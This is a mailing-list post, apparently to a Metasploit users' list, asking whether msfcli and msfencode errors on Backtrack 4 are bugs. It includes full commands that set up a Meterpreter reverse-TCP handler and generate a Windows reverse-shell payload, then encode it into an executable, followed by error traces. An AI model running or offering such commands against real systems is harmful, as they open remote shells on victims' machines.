possible bug in MSFCLI and msfencode?

[Thomas Werth <security () vahle de>]

Dear List,

i've installed latest svn of MSF on Backtrack 4 Beta.
Just tried to use msfcli and got following error:

root@vpcbt:/pentest/exploits/framework3# ./msfcli exploit/multi/handler
PAYLOAD=windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=7777
ENCODING= E
[*] Please wait while we load the module tree...
./lib/msf/core/data_store.rb:93:in `each': The argument could not be
parsed correctly. (Rex::ArgumentParseError)
        from ./lib/msf/core/data_store.rb:93:in `import_options_from_s'
        from ./msfcli:140


did i miss something? I could bet this one had run on former version of
msf fine...


Furthermore i get some error uses msfencode to encode a payload created
with msfpayload:

#creating Payload
root@vpcbt:/pentest/exploits/framework3# ./msfpayload
windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=7777 R > ./test.payload

#start encoding
root@vpcbt:/pentest/exploits/framework3# ./msfencode -e
x86/avoid_utf8_tolower -i ./test.payload -o ./test.encoded -t exe -c 4
(eval):146:in `decoder_stub': The payload being encoded is of an
incompatible size (79 bytes)   from ./lib/msf/core/encoder.rb:270:in
`do_encode'
        from ./lib/msf/core/encoder.rb:254:in `encode'
        from ./msfencode:188
        from ./msfencode:185:in `upto'
        from ./msfencode:185
        from ./msfencode:175:in `each'
        from ./msfencode:175


Did i something wrong or is here a bug?

greets
Thomas
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